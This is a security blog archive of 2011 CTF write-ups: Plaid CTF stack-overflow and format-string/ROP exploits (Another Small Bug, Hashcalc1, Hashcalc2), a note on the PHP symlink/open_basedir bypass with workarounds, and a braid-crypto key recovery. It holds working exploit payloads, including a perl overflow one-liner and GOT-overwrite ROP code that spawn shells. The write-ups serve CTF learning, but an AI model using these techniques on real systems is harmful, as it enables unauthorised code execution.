Thursday, April 28, 2011

Plaid CTF 2011#19 - Another Small Bug

This challenge is local stack based buffer overflow. The binary is static. It means that the libc shared object is not loaded, all needed libc functions are included in the binary. So we cannot use a trick that create a weird executable file name and jump to exec*() function in libc.

Because the NX bit in binary is disabled, the method I used in competition is brute forcing same as Leet More's writeup. But while talking in IRC, it seems the organizer did a mistake. The NX bit should be enabled. The StalkR's Blog has already posted the nice writeup if NX is enabled. I also tried it assuming NX is enabled (and effective :P) just for fun. Here is my solution.

Let see the code first. The main() function of this challenge is small. So I posted here.

int main(int argc, char **argv)
{
    char buffer[512];
    unsigned long len;
    if (argc != 2) {
        printf("...");
        exit(1);
    }
    len = strtoul(argv[1]);
    if (len <= 511) {
        if (log_error("..."))
            myexit();
    }
    fgets(buffer, len, stdin);
    puts(buffer);
    return 0;
}

At first time I looked, it seems not able to be exploited. When I checked inside log_error() function, it always fails because the log file does not exist. So we can put any length we want.

Because the binary is statically linked, so let check what libc functions are included in binary.

$ objdump -t exploitme  | grep .text
...
08048890 g     F .text  00000011 printf
08049fa8 g     F .text  00000043 memmove
...
08049abc g     F .text  0000000e mmap
...
0804823f g     F .text  00000034 __unified_syscall
...
08048230 g     F .text  00000007 mprotect

There are many interesting functions. But "__unified_syscall" is the most interesting for me. It looks like syscall() function in libc. Let look at it closer.

$ gdb ./exploitme
...
(gdb) b main
Breakpoint 1 at 0x804818a
(gdb) r
Starting program: /opt/pctf/z2/exploitme

Breakpoint 1, 0x0804818a in main ()
(gdb) x/10i __unified_syscall
0x804823f <__unified_syscall>:  movzbl %al,%eax
0x8048242 <__unified_syscall+3>:        push   %edi
0x8048243 <__unified_syscall+4>:        push   %esi
0x8048244 <__unified_syscall+5>:        push   %ebx
0x8048245 <__unified_syscall+6>:        mov    %esp,%edi
0x8048247 <__unified_syscall+8>:        mov    0x10(%edi),%ebx
0x804824a <__unified_syscall+11>:       mov    0x14(%edi),%ecx
0x804824d <__unified_syscall+14>:       mov    0x18(%edi),%edx
0x8048250 <__unified_syscall+17>:       mov    0x1c(%edi),%esi
0x8048253 <__unified_syscall+20>:       mov    0x20(%edi),%edi

The function moves arguments to ebx, ecx, edx, esi, edi respectively. Look like it is preparing for syscall. Check some existed libc function that matches the syscall.

(gdb) x/2i open
0x80489d0 <__libc_open>:        mov    $0x5,%al
0x80489d2 <__libc_open+2>:      jmp    0x804823f <__unified_syscall>

Yes, it is. The "__unified_syscall" is a syscall() function but we have to put syscall number in eax before calling it.

I want to call execve syscall (number 11) so all I have to prepare the arguments and set eax to 11. Preparing the arguments is easy because we can control the content in stack. How we set eax to 11?. Normally it is difficult to find "pop eax" gadget. To overcome this problem, I use printf() function. Because eax keeps the return value of function. And the return section in printf man page:

Upon successful return, these functions return the number of characters printed (not including the trailing '\0' used to end output to strings).

Just need to find a string that length is 11. Very easy.

(gdb) x/10s 0x0804a378
0x804a378:       "a"
0x804a37a:       "/home/z2/logs/assert.log"
0x804a393:       "ERROR: %s\n"
0x804a39e:       "%s requires one arguments.\n"
0x804a3ba:       ""
0x804a3bb:       ""
0x804a3bc:       "[assertion] len < sizeof(buffer)"
0x804a3dd:       "/dev/urandom"
0x804a3ea:       "\n"
0x804a3ec:       "(null)"

I use address 0x804a3de ("dev/urandom") for printf() and 0x804a378 ("a") for execve(). The address contains NULL is 0x804a444. Time to exploit it :).

z2_82@a5:~$ ln -s /bin/sh a
z2_82@a5:~$ (perl -e 'print "A"x516,"\x2f\x82\x04\x08"x16,"\x90\x88\x04\x08","\x3f\x82\x04\x08","\xde\xa3\x04\x08","\x78\xa3\x04\x08","\x44\xa4\x04\x08"x2';echo;cat) | /opt/pctf/z2/exploitme 700
AAAAAAAAAAAAAA...
id
uid=2081(z2_82) gid=1001(z2users) egid=1003(z2key) groups=1001(z2users)

Another fun ;)

Monday, April 25, 2011

Plaid CTF 2011 Hashcalc2 Writeup

This challenge is similar to hashcalc1. I used the same method as hashcalc1 to solve it. So read my hashcalc1 writeup first.

The binary uses inetd for running as network service. So the socket fds are 0,1,2. We do not need dup2() like hashcalc1. Also, the calculating hash function is changed. No calling any libc function.

The next libc function call is vsprintf(). But we cannot use it because the GOT entry address is 0x08049108. The address plus 2 is 0x0804910a. 0x0a is bad char.

The next function is strlen() again :). But the program calls vsprintf() with buffer size only is 0x100. To be safe, we should not overflow it. My workaround of this problem is put 0x00 after format string payload. Like this.

payload = payload_fmt + "\x00" + "A"*(0x2e0-len(payload_fmt)-1)

Another weird problem I found is server receive only partial modified GOT table. So I modified it to do recv() 2 times with small data as needed.

The others are same as hashcalc1. Here is my exploit: hashcalc2.py

$ python hashcalc2.py
** Welcome to the online hash calculator **
$
payload len: 840
got GOT table: 104
uid=1008(hashcalc2) gid=1009(hashcalc2) groups=1009(hashcalc2)

funkyG_1S_th3_b3$t

Key: funkyG_1S_th3_b3$t

Plaid CTF 2011 Hashcalc1 Writeup

This challenge is remote pwnable. I spent a lot of time to solve it. But I learned something new (worth to waste time on it). Here is some binary info.

$ checksec.sh --file hashcalc1
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        Canary found      NX enabled    No PIE                  hashcalc1

Reversing the binary... it is classic accept() and fork() server. After the connection established, the server send() welcome message, do recv() the data, log to file, calculate hash, then send the hash back to client. The log to file step has a format string problem. The C code should look like this.

recv(sock_fd, buffer, 0x3ff, 0);
// ...
fprintf(log_fp, buffer);

Note: after receiving data from client, the server converts all '\n' (0x0a) to NULL (0x00). So 0x0a is bad char. But 0x00 is good char.

The format string bug is obviously allow us to write any value in arbitrary address. The common place is GOT entry. I found strlen() function is used after fprintf() function (in calculating hash function). So strlen GOT entry is my target.

$ objdump -R hashcalc1 | grep strlen
0804a41c R_386_JUMP_SLOT   strlen

The address to be overwritten is 0x0804a41c. But the problem is what value I have to write. I tried to do connect back with ROP (but not brute forcing). No luck, I cannot find the gadgets to do what I want :(.

After a few hour past, I noticed the socket fd is known. In accept() loop, the server process always call close() before do accept() again. So it always be 5 because 3 is server fd and 4 is log fd.

With known socket fd, we can do ROP to make server send and receive additional data to arbitrary address. We can jump (not call) to recv() or send() by using plt functions. So the fixed addresses of recv() and send() are

$ objdump -d hashcalc1 | grep '@plt>:' | grep -e recv -e send
08048844 <recv@plt>:
08048994 <send@plt>:

Normally, to calling the libc functions without brute forcing when ASLR is enabled, we need to use the resolved function in GOT entry then add it with the offset. With send(), we can make program send the whole GOT section to us. Then we can modified any GOT entries and send the modified table back with recv().

First, I planned to modified GOT entries to have mprotect() and other functions to be able to put the shell code. But I remembered that reverse shell is just connect back with new socket, then dup2() and execve("/bin/sh"). We do not need to use shell code. Just call dup2() and execve("/bin/sh"). And of course we can use some area of GOT section to put "/bin/sh" string.

Now, coding time. First the format string bug, I need to move the esp to the controlled stack area. I found this gadget

0x8049106L: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ;;

Format string to overwrite the strlen GOT entry is

got_strlen_addr = 0x0804a41c
payload_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) + "%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"

Then, do send() and recv()

# 0x8048c1aL: add esp 0xc ; pop ebx ; pop ebp ;;
# send GOT table to me
payload += pack("<I", plt_send_addr) + pack("<I", 0x8048c1a) + pack("<I", sock_fd) + pack("<I", got_plt_section) + pack("<I", got_plt_section_size) + pack("<I", 0) + "JUNK"
# recv GOT table from me
payload += pack("<I", plt_recv_addr) + pack("<I", 0x8048c1a) + pack("<I", sock_fd) + pack("<I", got_plt_section) + pack("<I", got_plt_section_size) + pack("<I", 0) + "JUNK"

Then, do dup2() and execve() with similar method. I do not show here.

Another important part is finding function offset in libc. I used Ubuntu but when looking in the binary with objdump

$ objdump -s -j .comment hashcalc1

hashcalc1:     file format elf32-i386

Contents of section .comment:
 0000 4743433a 20284465 6269616e 20342e34  GCC: (Debian 4.4
 0010 2e352d38 2920342e 342e3500 4743433a  .5-8) 4.4.5.GCC:
 0020 20284465 6269616e 20342e34 2e352d31   (Debian 4.4.5-1
 0030 30292034 2e342e35 00                 0) 4.4.5.

The binary is compiled on Debian 6. So I tried to overwrite the functions that near dup2() and execve() and hope the offset are same. Even the offset is different, I still can do little brute forcing to get the offset (can send some data back if offset is correct). But it's no need for this challenge because the server that ran this binary is same as we could login to do local pwnable challenges.

$ objdump -T libc.so.6 | grep -w -e setreuid -e dup2
000c4b50  w   DF .text  00000076  GLIBC_2.0   setreuid
000bd760  w   DF .text  0000003d  GLIBC_2.0   dup2
$ objdump -T libc.so.6 | grep -w -e fork -e execve
00097550  w   DF .text  000002b0  GLIBC_2.0   fork
00097870  w   DF .text  00000053  GLIBC_2.0   execve

Here is my exploit hashcalc1.py

$ python hashcalc1.py
** Welcome to the online hash calculator **
$
payload len: 164
got GOT table: 156
uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1),0(root)

th3_0tH3r_DJB

Key: th3_0tH3r_DJB

Sunday, April 17, 2011

PHP symlink() and open_basedir

I was asked by someone about the exploit from http://securityreason.com/achievement_exploitalert/14. Why they could not delete the created symbolic links?

The exploit explanation is in http://securityreason.com/achievement_securityalert/70 (if you have a problem to access it, here is the backup http://seclists.org/fulldisclosure/2009/Nov/165).

This exploit just creates a symbolic link to a file outside the open_basedir with a neat trick, then using web server to access it (not invoking PHP interpreter). In my opinion, this is not PHP vulnerability. This is a feature (you still can do it with latest PHP). If we try to access the symbolic link with PHP functions (such as readfile(), file_get_contents()), we will get the error message related to open_basedir. Also we cannot delete/modify the symbolic links with unlink() PHP functions because of open_basedir restriction (answer the above question).

I think the easier way to abuse this feature is creating the symbolic link to root directory. No exploit from me. It's so easy to write :).

The workaround for this problem is adding symlink() using "disable_functions" feature to disable function or disabling following symbolic link in web server (FollowSymLinks in apache).

Update: I overlooked the method to delete the symbolic link. We just need to do the reverse by removing directory and recreating the tmplink. Here is the PHP code to delete the symbolic link that is created with kakao.php from the advisory.

<?php
rmdir("tmplink");
symlink("abc/abc/abc/abc","tmplink");
unlink("exploit");
unlink("tmplink");

Update:If you install Suhosin patch, you are safe from this problem by default. See http://www.hardened-php.net/suhosin/configuration.html#suhosin.executor.allow_symlink for more information.

Monday, April 4, 2011

Nuit du Hack CTF 2011 Crypto 300 Writeup

Challenge : http://repo.shell-storm.org/CTF/NDH2K11-prequals/CRYPTO/CRYPTO300/crypto300.zip

The challenge gives me the python code. The code is some kind of key exchange algorithm (I do not know). There are 3 important methods in Braid class.

class Braid:
    # ...
    def reverse(self):
        rev = [self.items.index(i) for i in range(self.size)]
        return Braid(rev)
       
    def combine(self, _braid):
        if len(_braid) != self.size:
            raise "Invalid size"
        return Braid([_braid[self.items[i]] for i in range(self.size)])

    def shuffle(self,offset=0,size=0):
        for j in range(randint(1024,4096)):
            if size==0: # client
                for i in range(offset,self.size): # range(11, 22)
                    idx1 = randint(offset,self.size-1) # randint(11, 21)
                    self.swap(i,idx1)
            else:  # server
                for i in range(offset,size): # range(0, 11)
                    idx1 = randint(0,size-1) # randint(0, 10)
                    self.swap(i,idx1)

The public key and private key are generated from BraidKey class

class BraidKey:
    def __init__(self, K, client):
        self.K = K
        N = len(K)
        self.privkey = Braid(N)
        if client:
            self.privkey.shuffle(offset=N/2)
        else:
            self.privkey.shuffle(size=N/2)
        self.privrkey = self.privkey.reverse()
        self.pubkey = self.privkey.combine(self.K.combine(self.privrkey))

From code, the client privkey is initialized with [0..21], then shuffled only last 11 elements and first 11 elements are fixed. So the client privkey always be [0..10, random shuffled]. The client privrkey is derived from privkey with so strange reverse function. With the client privkey generation, the client privkey always be [0..10, derived from privkey].

When looking in "server.py", I found

raw_K = '0D1214040108060F050C0E0207030A151009000B1311'
self.s = ServerSocket(peer,allowed_pubkeys=['0F0C11040108060B05150E1000090A030D1312140207'])

So the server accepts only public key '0F0C11040108060B05150E1000090A030D1312140207'. From pubkey generation algorithm (the last line in BraidKey::__init__), We know pubkey, half of privkey, K, and half of privrkey. Also the combine() function is reversible. So I think it's possible to find the privkey from pubkey.

It's difficult to explain. Just see the code findpriv.py (I know you guys will understand :P).

K = str2ary(hex2str("0D1214040108060F050C0E0207030A151009000B1311"))
pubkey = str2ary(hex2str("0F0C11040108060B05150E1000090A030D1312140207"))

priv =  [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 ]
privr = [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 ]
inter = [ -1 ]*22  # inter is self.K.combine(self.privrkey)
for i in range(11):
    inter[i] = pubkey[i]

# pubkey = priv.combine(K.combine(privr))
# for i in [0,11)  =>  priv[i] = i; pubkey[i] = inter[priv[i]] = inter[i] = privr[K[i]]
for i in range(11):
    privr[K[i]] = pubkey[i]

# inter = K.combine(privr); inter[i] = privr[K[i]]
for i in range(11, 22):
    inter[i] = privr[K[i]]

# pubkey = priv.combine(K); pubkey[i] = K[priv[i]]
for i in range(11, 22):
    if pubkey[i] in inter:
        priv[i] = inter.index(pubkey[i])
    
# privr = priv.reverse()
for i in range(11, 22):
    if i in priv:
        privr[i] = priv.index(i)
for i in range(11, 22):
    if privr[1] != -1:
        priv[privr[i]] = i

# inter = K.combine(privr); inter[i] = privr[K[i]]
for i in range(11, 22):
    inter[i] = privr[K[i]]

# pubkey = priv.combine(K); pubkey[i] = K[priv[i]]
for i in range(11, 22):
    if pubkey[i] in inter:
        priv[i] = inter.index(pubkey[i])

if priv.count(-1) == 1:
    pos = priv.index(-1)
    for i in range(22):
        if i not in priv:
            priv[pos] = i
            break

print priv
$ python findpriv.py
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 18, 17, 14, 13, 21, 20, 16, 19, 11, 12]

Then I changed the self.privkey.shuffle(offset=N/2) line in BraidKey class to self.privkey = [above privkey].

$ python client.py
[Crypto300 sample client]
[i] Welcome on Goofyleaks. Can I haz ur public kay ?
[+] Your leaked flag: Br4iDCrypto_i5_b3au7ifu11

Answer: Br4iDCrypto_i5_b3au7ifu11